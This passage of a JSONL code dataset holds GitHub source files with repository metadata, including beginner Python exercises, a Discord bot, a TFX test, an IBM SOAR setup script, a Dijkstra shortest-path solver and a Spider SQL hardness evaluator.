grid_info['opt_lower_left_x']\n ll_y1 = grid_info['opt_lower_left_y']\n cell_zero_xcoord = grid_info['opt_cell_zero_xcoord']\n cell_zero_ycoord = grid_info['opt_cell_zero_ycoord']\n ll_x2, ll_y2 = lower_left_xy_from_transform(transform,shape,cell_zero_xcoord,cell_zero_ycoord)\n if ll_x1 != ll_x2 or ll_y1 != ll_y2:\n msg = 'opt_lower_left_x, opt_lower_left_y has issue or both are incorrect\\n'\n msg += 'Given = %r, computed = %r'%((ll_x1,ll_y1), (ll_x2, ll_y2))\n logging.error(msg)\n if raise_error:\n raise Exception(msg)\n\n # check time stamped vs grid_type and pathname D and F parts in put_grid \n\n return grid_info\n","repo_name":"gyanz/pydsstools","sub_path":"pydsstools/heclib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9556,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"82"} +{"seq_id":"73870179468","text":"menu ='''\n[01] Somar\n[02] Multiplicar\n[03] Maior\n[04] Novos Numeros\n[05] Sair do Programa\n'''\n\nresut = None\nwhile not resut:\n\n n1 = int(input('Type fist number: '))\n n2 = int(input('Type second number: '))\n\n select = int(input(f'{menu}Option Select: '))\n\n if select == 1:\n print(f'\\nThe Sum {n1} + {n2} is {n1+n2}!\\n')\n resut = 1 \n\n elif select == 2:\n print(f'\\nThe Multiplication {n1} x {n2} is {n1*n2}!\\n')\n resut = 1 \n\n elif select == 3:\n if n1 > n2:\n print(f'\\n{n1} is bigger than {n2}\\n') \n resut = 1 \n\n elif n2 > n1:\n print(f'\\n{n2} is bigger than {n1}\\n')\n resut = 1 \n\n else:\n print(f'\\n{n1} is equal {n2}\\n')\n resut = 1 \n \n elif select == 4:\n print('\\n')\n resut = None\n\n elif select == 5:\n print('\\n')\n resut = 1 \n","repo_name":"JonnadabeSantos/Python-Training-Programming","sub_path":"Exercise/Guanabara/Two_World/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"861229813","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 10 05:47:10 2022\r\n\r\n@author: glick\r\n\"\"\"\r\nimport numpy as np\r\nfrom numpy import linalg as LA\r\nfrom mpl_toolkits import mplot3d\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef distance_from_two_lines(e1, e2, r1, r2):\r\n # e1, e2 = Direction vector\r\n # r1, r2 = Point where the line passes through\r\n\r\n # Find the unit vector perpendicular to both lines\r\n n = np.cross(e1, e2)\r\n n /= np.linalg.norm(n)\r\n\r\n # Calculate distance\r\n d = np.dot(n, r1 - r2)\r\n\r\n return d\r\n\r\n\r\nx11 = np.array([0,0,0])\r\nx12 = np.array([0,0,50])\r\n\r\nr1 = x11\r\nt1 = LA.norm(x11-x12)\r\ne1 = (x12-x11)/t1\r\n\r\nx21 = np.array([20,0,0])\r\nx22 = np.array([30,40,50])\r\n\r\nr2 = x21\r\nt2 = LA.norm(x21-x22)\r\ne2 = (x22-x21)/t2\r\n\r\nd = distance_from_two_lines(e1, e2, r1, r2)\r\n\r\n","repo_name":"davidglickman/dronesFlightApp","sub_path":"distanceBetweenTwoLines.py","file_name":"distanceBetweenTwoLines.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38740298038","text":"import discord\nimport respnoses\nimport os\nfrom dotenv import load_dotenv\n\nasync def send_message(message, user_message, is_priv):\n try:\n response = respnoses.handle_response(user_message)\n await message.author.send(response) if is_priv else await message.channel.send(response)\n except Exception as e:\n print(e)\n\ndef run_discord_bot():\n intents = discord.Intents.all()\n client = discord.Client(intents=intents)\n\n @client.event\n async def on_ready():\n print(f'{client.user} is now running!')\n\n @client.event\n async def on_message(message):\n if message.author == client.user:\n return\n\n username = str(message.author)\n user_message = str(message.content)\n channel = str(message.channel)\n # is_priv = isinstance(message.channel, discord.DMChannel)\n # await send_message(message, message.content, is_priv)\n print(f\"{username} said {user_message} in {channel}\")\n\n if user_message[0] == '?':\n user_message = user_message[1:]\n await send_message(message, user_message, True)\n else:\n await send_message(message, user_message, False)\n\n load_dotenv()\n client.run(os.getenv(\"TOKEN\"))\n","repo_name":"konfrag4/collegeBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27493755211","text":"import create_tree\nclass TreeNode:\n def __init__(self,x):\n self.val=x\n self.left=None\n self.right=None\n\n#------这种做法pycharm没问题 牛客有问题\n# class Solution:\n# def HasSubtree(self,pRoot1,pRoot2):\n# if not pRoot1 or not pRoot2:\n# return False\n#\n# return self.HasSubtree(pRoot1.left,pRoot2) or self.HasSubtree(pRoot1.right,pRoot2) or self.IsSubtree(pRoot1,pRoot2)\n#\n# def IsSubtree(self,pRoot1,pRoot2):\n# if pRoot1==None or pRoot2==None:\n# return True\n# if pRoot1.val==pRoot2.val:\n# return self.IsSubtree(pRoot1.left,pRoot2.left) and self.IsSubtree(pRoot1.right,pRoot2.right)\n# else:\n# return False\n\n#----niuke 能通过\nclass Solution:\n def HasSubtree(self, pRoot1, pRoot2):\n # write code here\n if not pRoot1 or not pRoot2:\n return False\n return self.HasSubtree(pRoot1.left, pRoot2) or self.HasSubtree(pRoot1.right, pRoot2) or self.is_subtree(pRoot1, pRoot2)\n def is_subtree(self, A, B):\n if not B:\n return True\n if not A or A.val != B.val:\n return False\n return self.is_subtree(A.left, B.left) and self.is_subtree(A.right, B.right)\n\na=Solution()\nA=create_tree.fromList([8,None,8,None,9,None,2,None,5])\nB=create_tree.fromList([8,None,9,3,2])\nc=a.HasSubtree(A,B)\nprint(c)\n\n\n\n","repo_name":"YanglanWang/jianzhi_offer","sub_path":"offer17.py","file_name":"offer17.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24684394448","text":"import random\n\n'''\n確変ループ機\nぱちんこ 冬のソナタ FOREVER\n'''\n\n\ndef main():\n pass\n\n\ndef information():\n # 特図1での大当たり確率[1/n]\n normal = 319.9\n # 特図2での大当たり確率[1/n]\n koukaku = 39.7\n # 特図1当せん時の電サポ回数[回]\n ''' 次回まで'''\n # 特図2当せん時の電サポ回数[回]\n ''' 次回まで'''\n # 時短回数\n jitan = 100\n return normal, koukaku, jitan\n\n\ndef furiwake_heso():\n # 冬ソナの特図1の振り分けは40%が10R確変。20%が2R確変。40%が10R通常\n a = random.randint(0, 100)\n if a < 40:\n heso = \"10R(確変)\"\n kakuhen = True\n elif a >= 40 and a < 60:\n heso = \"2R(確変)\"\n kakuhen = True\n else:\n heso = \"10R(通常)\"\n kakuhen = False\n return heso, kakuhen\n\n\ndef furiwake_denchu():\n # ここはラウンド振り分け。\n # 冬ソナは50%が10R確変。10%が2R確変。40%が10R通常\n a = random.randint(0, 100)\n if a < 50:\n denchu = \"10R(確変)\"\n kakuhen = True\n elif a >= 50 and a < 60:\n denchu = \"2R(確変)\"\n kakuhen = True\n else:\n denchu = \"10R(通常)\"\n kakuhen = False\n return denchu, kakuhen\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Amanohara/PyPachinko","sub_path":"machine/fuyusona.py","file_name":"fuyusona.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"36078335901","text":"\"\"\"\nGiven an array nums, write a function to move all 0's\nto the end of it while maintaining the relative order\nof the non-zero elements.\nYou must do this in-place without making a copy of the array.\nMinimize the total number of operations.\n\"\"\"\n\n\ndef moveZeroes(nums):\n i = 0\n counter = 0\n while i < len(nums) - counter:\n if nums[i] == 0:\n counter += 1\n for j in range(i, len(nums) - 1):\n nums[j] = nums[j + 1]\n i -= 1\n i += 1\n while counter > 0:\n nums[len(nums) - counter] = 0\n counter -= 1\n\n\n# Another solution\ndef moveZeroes2(nums):\n pointer = 0\n for i in range(len(nums)):\n if nums[i] != 0:\n nums[i], nums[pointer] = nums[pointer], nums[i]\n pointer += 1\n\n\nprint(moveZeroes([0, 1, 0, 3, 12]))\nprint(moveZeroes([0, 1, 0]))\nprint(moveZeroes([0, 0, 1, 1]))\nprint(\"The values above should be [1, 3, 12, 0, 0], [1, 0, 0], \\\n and [1, 1, 0, 0].\")\n","repo_name":"alvinwang922/Data-Structures-and-Algorithms","sub_path":"Arrays/Move-Zeroes.py","file_name":"Move-Zeroes.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"7916050716","text":"import os\nimport pathlib\nimport tempfile\n\nfrom absl.testing import absltest\nimport tensorflow as tf\nfrom tfx.dsl.io import fileio\nfrom tfx.scripts import run_component\nfrom tfx.types import artifact_utils\n\n\nclass RunComponentTest(absltest.TestCase):\n\n def testRunStatisticsGen(self):\n # Prepare the paths\n test_data_dir = os.path.join(\n os.path.dirname(os.path.dirname(__file__)), 'components', 'testdata')\n output_data_dir = os.path.join(\n os.environ.get('TEST_UNDECLARED_OUTPUTS_DIR', tempfile.mkdtemp()),\n self._testMethodName)\n statistics_split_names_path = os.path.join(output_data_dir,\n 'statistics.properties',\n 'split_names')\n fileio.makedirs(output_data_dir)\n\n # Run StatisticsGen\n run_component.run_component(\n full_component_class_name='tfx.components.StatisticsGen',\n examples_uri=os.path.join(test_data_dir, 'csv_example_gen'),\n examples_split_names=artifact_utils.encode_split_names(\n ['train', 'eval']),\n # Testing that we can set non-string artifact properties\n examples_version='1',\n statistics_path=output_data_dir,\n statistics_split_names_path=statistics_split_names_path,\n )\n\n # Check the statistics_gen outputs\n self.assertTrue(\n fileio.exists(\n os.path.join(output_data_dir, 'Split-train', 'FeatureStats.pb')))\n self.assertTrue(\n fileio.exists(\n os.path.join(output_data_dir, 'Split-eval', 'FeatureStats.pb')))\n self.assertTrue(os.path.exists(statistics_split_names_path))\n self.assertEqual(\n pathlib.Path(statistics_split_names_path).read_text(),\n '[\"train\", \"eval\"]')\n\n def testRunSchemaGen(self):\n # Prepare the paths\n test_data_dir = os.path.join(\n os.path.dirname(os.path.dirname(__file__)), 'components', 'testdata')\n output_data_dir = os.path.join(\n os.environ.get('TEST_UNDECLARED_OUTPUTS_DIR', tempfile.mkdtemp()),\n self._testMethodName)\n fileio.makedirs(output_data_dir)\n\n # Run SchemaGen\n run_component.run_component(\n full_component_class_name='tfx.components.SchemaGen',\n # Testing that we can specify input artifact paths\n statistics_path=os.path.join(test_data_dir, 'statistics_gen'),\n # Testing that we can specify artifact properties\n statistics_split_names=artifact_utils.encode_split_names(\n ['train', 'eval']),\n # Testing that we can pass arguments for non-string properties\n infer_feature_shape='1',\n # Testing that we can specify output artifact paths\n schema_path=os.path.join(output_data_dir),\n )\n\n # Checking the schema_gen outputs\n self.assertTrue(\n fileio.exists(os.path.join(output_data_dir, 'schema.pbtxt')))\n\nif __name__ == '__main__':\n tf.test.main()\n","repo_name":"tensorflow/tfx","sub_path":"tfx/scripts/run_component_test.py","file_name":"run_component_test.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":2023,"dataset":"github-code","pt":"82"} +{"seq_id":"6880739740","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\nimport glob\nimport ntpath\n\n\ndef get_module_name(module_path):\n \"\"\"\n Return the module name of the module path\n \"\"\"\n return ntpath.split(module_path)[1].split(\".\")[0]\n\n\ndef snake_to_camel(word):\n \"\"\"\n Convert a word from snake_case to CamelCase\n \"\"\"\n return ''.join(x.capitalize() or '_' for x in word.split('_'))\n\n\nsetup(\n name=\"fn_google_cloud_scc\",\n display_name=\"Google Cloud Security Command Center\",\n version=\"1.0.2\",\n license=\"MIT\",\n author=\"IBM SOAR\",\n author_email=\"\",\n url=\"https://ibm.com/mysupport\",\n description=\"IBM SOAR app with bidirectional synchronization and functions for Google Cloud SCC\",\n long_description=\"\"\"Bidirectional synchronization of Google Cloud Security Command Center Findings. Additional functions are provided for manual synchronization, manually updating findings, and listing cloud assets monitored in Google SCC.\"\"\",\n install_requires=[\n \"resilient-circuits >= 49.0\",\n \"google-cloud-securitycenter ~= 1.11\"\n ],\n python_requires='>=3.7',\n packages=find_packages(),\n include_package_data=True,\n platforms=\"any\",\n classifiers=[\n \"Programming Language :: Python\",\n ],\n entry_points={\n \"resilient.circuits.components\": [\n # When setup.py is executed, loop through the .py files in the components directory and create the entry points.\n \"{}FunctionComponent = fn_google_cloud_scc.components.{}:FunctionComponent\".format(snake_to_camel(get_module_name(filename)), get_module_name(filename)) for filename in glob.glob(\"./fn_google_cloud_scc/components/[a-zA-Z]*.py\")\n ] + \n [ \"PollerComponent = fn_google_cloud_scc.poller.google_cloud_scc_poller:PollerComponent\"],\n \"resilient.circuits.configsection\": [\"gen_config = fn_google_cloud_scc.util.config:config_section_data\"],\n \"resilient.circuits.customize\": [\"customize = fn_google_cloud_scc.util.customize:customization_data\"],\n \"resilient.circuits.selftest\": [\"selftest = fn_google_cloud_scc.util.selftest:selftest_function\"]\n }\n)\n","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_google_cloud_scc/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"} +{"seq_id":"73536667787","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 22 20:09:15 2022\n\n@author: hliu\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport scipy.stats as stats\n\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.rc('font',family='Calibri')\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nimport joblib\n\nn = joblib.load(\"../../../data/output/model/nee_ci1_HARV.pkl\") \nv = np.array(pd.read_csv(\"../../../data/verify/HARV_nee.csv\")['nee'])\n\nx = np.array(n[0:26280])\ny = np.array(v[0:26280]) \n\narr = np.hstack((x.reshape(-1,1),y.reshape(-1,1)))\narr = arr[~np.isnan(arr).any(axis=1)]\n\narr = arr[~np.any(arr == 0, axis=1)]\n\nX = arr[:,0]\ny = arr[:,1] \n\nr, p = stats.pearsonr(X, y) \n\nabs_sum = sum(abs(X - y))\nabs_num = len(X)\nmae = (abs_sum / abs_num)\n\nnrows = 1\nncols = 1 \nfig, ax = plt.subplots(nrows = nrows, ncols = ncols, figsize=(6, 6))#, sharey=True)\n\nax.set_ylabel('Simulated NEE', fontsize=12)\nax.set_xlabel('Observed NEE', fontsize=12)\nax.scatter(X, y, facecolors='none', marker='o', edgecolors='black', s = 20) # 把 corlor 设置为空,通过edgecolors来控制颜色\nax.set(xlim=(-40, 15), ylim=(-40, 15)) \nax.set(xlim = ax.get_xlim(), ylim = ax.get_ylim()) \n\n#ax.set_yticks(np.arange(0, 0.5, 0.1)) \n#ax.set_xticks(np.arange(0, 0.81, 0.2)) \nax.plot(ax.get_xlim(), ax.get_ylim(), color = \"red\", ls=\"--\")\nax.text(-20, 20, \"$R^2$ = {0}, p<0.01\\nMAE={1}\".format(round(r*r, 2), round(mae, 2)), fontsize=10) \n","repo_name":"hliu666/TBM","sub_path":"src/figs/nee/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4315461678","text":"import sys\nfrom queue import PriorityQueue\ninput = sys.stdin.readline\n\nV, E = map(int, input().split())\nk = int(input())\na = [[] for _ in range(V+1)]\ndistance = [sys.maxsize for _ in range(V+1)]\nvisited = [False for _ in range(V+1)]\nq = PriorityQueue()\n\nfor _ in range(E):\n u, v, w = map(int, input().split())\n a[u].append((v, w))\n\ndistance[k] = 0\nq.put((0, k)) # 우선순위 큐에 해당 노드까지의 거리와 노드의 번호 저장\n\nwhile q.qsize() > 0:\n _, now = q.get()\n if visited[now]:\n continue\n visited[now] = True\n\n for tmp in a[now]:\n next, weight = tmp\n if distance[next] > distance[now] + weight:\n distance[next] = distance[now] + weight\n q.put((distance[next], next))\n\nfor i in range(1, V+1):\n if visited[i]:\n print(distance[i])\n else:\n print(\"INF\")\n","repo_name":"wingunkh/Coding-test","sub_path":"08 그래프/08-4 다익스트라/056 최단 경로 구하기.py","file_name":"056 최단 경로 구하기.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"42450305856","text":"import math\n\ndef get_bit_set(data):\n\tif not data:\n\t\treturn 0\n\treturn int(math.log(data, 2))\n\t\ndef get_max_xor(input):\n\tinput = sorted(input, reverse=True)\n\tsum = 0\n\tindex = 0\n\tset_bit = get_bit_set(input[0])\n\tchoosen = [0]*len(input)\n\twhile set_bit >= 0:\n\t\t#check if any other has set_bit to 1; if yes then xor with index element.\n\t\tcheck_and_xor(input, set_bit, index)\n\t\tchoosen.append(index)\n\t\tset_bit -= 1\n\t\t#now find out if there is any one else whose set_bit is set\n\t\tindex = check_set_bit(choosen, set_bit, input)\n\t\tif index < -1:\n\t\t\tbreak\n\tfor i in input:\n\t\tsum ^= i\n\treturn sum\n\t\ndef check_and_xor(input, set_bit, index):\n\tfor i in range(0, len(input)):\n\t\tif i != index and (input[i]& (1 << set_bit)):\n\t\t\tinput[i] ^= input[index]\n\ndef check_set_bit(choosen, set_bit, input):\n\tfor i in range(0, len(input)):\n\t\tif i not in choosen:\n\t\t\tbit = get_bit_set(input[i])\n\t\t\tif bit == set_bit:\n\t\t\t\treturn i\n\treturn -1\n\t\nprint(get_max_xor([9, 8, 5]))\nprint(get_max_xor([8, 1, 2, 12, 7, 6]))\nprint(get_max_xor([4, 6]))\n","repo_name":"anish198519851985/Hacking","sub_path":"max_xor_array.py","file_name":"max_xor_array.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14090765485","text":"from plotter import Plotter\nfrom main_from_file import Polygon\n\n\n\ndef main():\n plotter = Plotter()\n\n \"\"\" read polygon.csv \"\"\"\n poly = Polygon('polygon.csv')\n read_data = poly.read_polygon_data()\n\n \"\"\" Insert point information \"\"\"\n x = float(input('x coordinate: '))\n y = float(input('y coordinate: '))\n\n \"\"\" categorize point \"\"\"\n categorize_mbr = poly.create_point_mbr([x, y])\n categorize_rca = poly.create_rca_category([x, y])\n\n \"\"\" plot polygon and point \"\"\"\n plotter.add_point(categorize_mbr[0], categorize_mbr[1], categorize_mbr[2])\n xs = [point[1] for point in read_data]\n ys = [point[2] for point in read_data]\n plotter.add_polygon(xs, ys)\n plotter.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"madjanorjedidiah/mbr_rca_implementation","sub_path":"main_from_user.py","file_name":"main_from_user.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16794995757","text":"from classes.interface.button import *\nfrom classes.interface.iconfig import *\n\n\ndef default(*args):\n return 0\n\n\ndef simlpeButton(x, y, w, h, text, size, on_down=default, on_up=default, on_motion=default):\n gb = gameButton(x, y, w, h, white, text, size, pygame.font.get_default_font(),\n black, AL_CENTER, on_down, on_up, on_motion)\n return gb\n\n\ndef rectButton(x, y, r, text, size, on_down=default, on_up=default, on_motion=default):\n gb = gameButton(x, y, r, r, white, text, size, pygame.font.get_default_font(),\n black, AL_CENTER, on_down, on_up, on_motion)\n return gb\n\n\ndef build_stock_interface(button_number, screen_size):\n\n w = int(screen_size[0]/3)\n h = int(screen_size[1]/3)\n\n left = int(screen_size[0] - w) / 2\n top = int(screen_size[1] - h) / 2\n\n step = 5\n\n bh = int(h / button_number) - step\n bw = w\n\n text_size = 32\n\n button_list = []\n\n for i in range(button_number):\n x = left\n y = (bh+step)*i + top\n btm = simlpeButton(x, y, bw, bh, '', text_size)\n button_list.append(btm)\n\n return button_list\n","repo_name":"SESCNSUTeam/game-pycharm-lesson","sub_path":"classes/interface/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31462053799","text":"import sqlalchemy as db\nfrom sqlalchemy.orm import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nBase = declarative_base()\n\n\nclass Person(Base):\n __tablename__ = \"people\"\n\n ssn = db.Column(\"ssn\", db.Integer, primary_key=True)\n firstname = db.Column(\"firstname\", db.String)\n lastname = db.Column(\"lastname\", db.String)\n gender = db.Column(\"gender\", db.CHAR)\n age = db.Column(\"age\", db.Integer)\n\n def __init__(self, ssn, firstname, lastname, gender, age):\n self.ssn = ssn\n self.firstname = firstname\n self.lastname = lastname\n self.gender = gender\n self.age = age\n\n def __repr__(self):\n return f\"({self.ssn}) {self.firstname} {self.lastname} ({self.gender}, {self.age})\"\n\n\nengine = db.create_engine(\"sqlite:///test_database.db\", echo=True)\nBase.metadata.create_all(bind=engine)\n\nSession = sessionmaker(bind=engine)\nsession = Session()\n\n# felixzehe = Person(491241, \"Felix\", \"Zehe\", \"M\", 21)\n# session.add(felixzehe)\n# session.commit()\n\n\nresults = session.query(Person).filter(Person.firstname == \"Felix\")\nfor r in results:\n print(r)\n","repo_name":"margowskit/am","sub_path":"Projekte/SQLAlchemyTutorial/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31885849938","text":"import struct\nimport serial\nimport numpy as np\nfrom keras.datasets import mnist\nfrom keras.utils import np_utils\nimport time\nimport tqdm\n\n\nnb_sample_to_evaluate = 1000\n\nser = serial.Serial('COM4', 115200, timeout=20000000)\n\n(X_train, y_train), (X_test, y_test) = mnist.load_data()\n# Reducing the amount of data\nX_test = X_test[0:nb_sample_to_evaluate]\ny_test = y_test[0:nb_sample_to_evaluate]\nX_test = X_test.astype('float32')\n\n# normalizing the data from 255 to [0,1] to help with the training\nX_test /= 255\n\n# one-hot encoding using keras numpy-related utilities\nn_classes = 10\nY_test = np_utils.to_categorical(y_test, n_classes)\n\n# Sending number of entries\nser.write(struct.pack('i', len(X_test)))\nrx_buffer = ser.read(4)\nif struct.unpack('i', rx_buffer)[0] != len(X_test):\n print('ERROR IN ACKNOWLEDGEMENT, RECEIVED : ', struct.unpack('i', rx_buffer)[0], 'INSTEAD OF : ', len(X_test))\nelse:\n print('Acknowledgement valid, commencing data send')\n id = 0\n differences = []\n acc_differences = []\n # This allow tqdm to display properly\n time.sleep(1)\n start_time = time.time()\n\n for i in tqdm.tqdm(range(0,nb_sample_to_evaluate)):\n entry_x = X_test[i]\n entry_y = Y_test[i]\n data = np.reshape(entry_x, 28 * 28)\n # Create checksum of data\n checksum = sum(data)\n # print('Local checksum :', checksum)\n binary_data = np.array([struct.pack(\"f\", x) for x in data])\n ser.write(binary_data)\n rx_buffer = ser.read(4)\n # Checking received checksum to monitor possible discrepancies\n if abs((checksum - struct.unpack('f', rx_buffer)[0])) > 0.01:\n print('Warning, important checksum divergence from origin :',\n abs((checksum - struct.unpack('f', rx_buffer)[0])) * 100, '% ID : ', id)\n rx_buffer = ser.read(40)\n results = []\n # Unpacking received bytes and converting them to floats\n for i in range(0, 10):\n # Result of struct.unpack seems to be tuple hence the [0] index, referring to the desired value\n results.append(struct.unpack('f', rx_buffer[i * 4:(i + 1) * 4])[0])\n # [print(i, ' : ', x) for i, x in enumerate(results)]\n\n differences.append(sum(abs(np.subtract(results, entry_y))))\n # Using a threshold to give binary value to results 0.0 or 1.0\n results_rounded = [float(x >= 0.5) for x in results]\n # Computing difference with expected value, 0 true positive, 1 false positive, -1 false negative\n acc_differences.append(np.subtract(results_rounded, entry_y))\n id += 1\n end_time = time.time()\n # Get a dictionary containing tp, fp and fn\n acc_result = dict(zip(*np.unique((np.array(acc_differences)).flatten(), return_counts=True)))\n accuracy = acc_result[0.0]/len((np.array(acc_differences)).flatten())\n print('Model mean error : ', sum(differences) / len(X_test), ' Accuracy : ', accuracy)\n print('Total elapsed time : ', end_time - start_time, 's', '\\tElapsed time per data entry : ',\n (end_time - start_time) / len(X_test), 's')\n","repo_name":"kalahel/KerasForSTM32","sub_path":"SerialModelTester.py","file_name":"SerialModelTester.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"18996774207","text":"# Matius Celcius Sinaga\n# Ubuntu 14.0 | 32 bit \n# Python 2.7\n# matplotlib-1.4.0 \n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes, zoomed_inset_axes\nfrom mpl_toolkits.axes_grid1.anchored_artists import AnchoredSizeBar\n\ndef add_sizebar(ax, size):\n\tasb = AnchoredSizeBar(ax.transData,\n\t\t\t\t\t\t\tsize,\n\t\t\t\t\t\t\tstr(size),\n\t\t\t\t\t\t\tloc=8,\n\t\t\t\t\t\t\tpad=0.1, borderpad=0.5, sep=5,\n\t\t\t\t\t\t\tframeon=False)\n\tax.add_artist(asb)\n\t\nfig, (ax, ax2) = plt.subplots(1, 2,figsize=[5.5, 3])\n\n#subplot pertama\nax.set_aspect(1.)\naxins = inset_axes(ax,\n\t\t\t\t\twidth=\"30%\",\n\t\t\t\t\theight=1.,\n\t\t\t\t\tloc=3)\nplt.xticks(visible=False)\nplt.yticks(visible=False)\n\n#subplot kedua\nax2.set_aspect(1.)\naxins = zoomed_inset_axes(ax2, 0.5, loc=1)\nplt.xticks(visible=False)\nplt.yticks(visible=False)\n\n\nadd_sizebar(ax2, 0.5)\nadd_sizebar(axins, 0.5)\nplt.draw()\nplt.show()\n","repo_name":"Nagaa27/Matplotlib-examples-code","sub_path":"Axes/demo_menempatkan_sisipan.py","file_name":"demo_menempatkan_sisipan.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"7564728646","text":"print(\"Welcome to the tip calculator\")\ntotal = float(input('what was the total bill?: '))\nP_propine = int(input('what percentage tip would you like to give?: 10, 12 or 15: '))\nN_personas = int(input('How many people to split the bill?: '))\n\nP_Pagar_Prop = float(total * (P_propine/100))\nT_Pagar = float(total + P_Pagar_Prop)\n# print(P_Pagar_Prop)\n# print(T_Pagar)\n\nResult = (T_Pagar/N_personas)\nNew_Result = round(Result, 2)\nprint(f'Each person should pay: {New_Result}')\n","repo_name":"jorgeluis174/Practicas_Python","sub_path":"Calculadora de Propina.py","file_name":"Calculadora de Propina.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71034330190","text":"from evaluation import count_component1, count_component2, count_others\n\nimport json\nimport os\nimport sys\n\nAGG_OPS = ('none', 'max', 'min', 'count', 'sum', 'avg')\n\n\ndef eval_hardness(sql):\n count_comp1_ = count_component1(sql)\n count_comp2_ = count_component2(sql)\n count_others_ = count_others(sql)\n\n if count_comp1_ <= 1 and count_others_ == 0 and count_comp2_ == 0:\n return \"easy\"\n elif (count_others_ <= 2 and count_comp1_ <= 1 and count_comp2_ == 0) or \\\n (count_comp1_ <= 2 and count_others_ < 2 and count_comp2_ == 0):\n return \"medium\"\n elif (count_others_ > 2 and count_comp1_ <= 2 and count_comp2_ == 0) or \\\n (2 < count_comp1_ <= 3 and count_others_ <= 2 and count_comp2_ == 0) or \\\n (count_comp1_ <= 1 and count_others_ == 0 and count_comp2_ <= 1):\n return \"hard\"\n else:\n return \"extra\"\n\n\ndef form_clause_str(sql_dict, delimiter='|'):\n \"\"\"\n Given a dictionary of SQL clauses, form a string encoding them\n \"\"\"\n ##############################\n #\n # select: is distinct, aggregation\n # from\n # from: no. tables\n # where: has and/or, has nested subquery\n # groupBy\n # having: has and/or, aggregation, has nested subquery\n # orderBy: is asc/desc\n # limit\n # union\n # intersect\n # except\n #\n ##############################\n clause_str = \"\"\n no_clauses = 0\n\n # select clause\n select = sql_dict.get('select')\n clause_str += \"SELECT \"\n no_clauses += 1\n if select[0]:\n clause_str += \"DISTINCT \"\n for unit in select[1]:\n if unit[0] != 0:\n clause_str += AGG_OPS[unit[0]] + \" \"\n clause_str += delimiter\n\n # from clause\n from_clause = sql_dict.get('from')\n clause_str += \"FROM \"\n no_clauses += 1\n clause_str += delimiter\n\n # number of tables in from clause\n no_tables = len(from_clause.get('table_units', []))\n clause_str += str(no_tables)\n clause_str += delimiter\n\n # where clause\n where = sql_dict.get('where')\n if where:\n clause_str += \"WHERE \"\n no_clauses += 1\n if 'and' in where:\n clause_str += \"AND \"\n if 'or' in where:\n clause_str += \"OR \"\n for unit in where:\n if type(unit) != str:\n if type(unit[3]) == dict or type(unit[4]) == dict:\n clause_str += \"SUBQUERY \"\n break\n clause_str += delimiter\n\n # group by clause\n group_by = sql_dict.get('groupBy')\n if group_by:\n clause_str += \"GROUP BY \"\n no_clauses += 1\n clause_str += delimiter\n\n # having clause\n having = sql_dict.get('having')\n if having:\n clause_str += \"HAVING \"\n no_clauses += 1\n if 'and' in having:\n clause_str += \"AND \"\n if 'or' in having:\n clause_str += \"OR \"\n for unit in having:\n if type(unit) != str:\n if unit[2][1][0] != 0:\n clause_str += AGG_OPS[unit[2][1][0]] + \" \"\n if unit[2][2] and unit[2][2][0] != 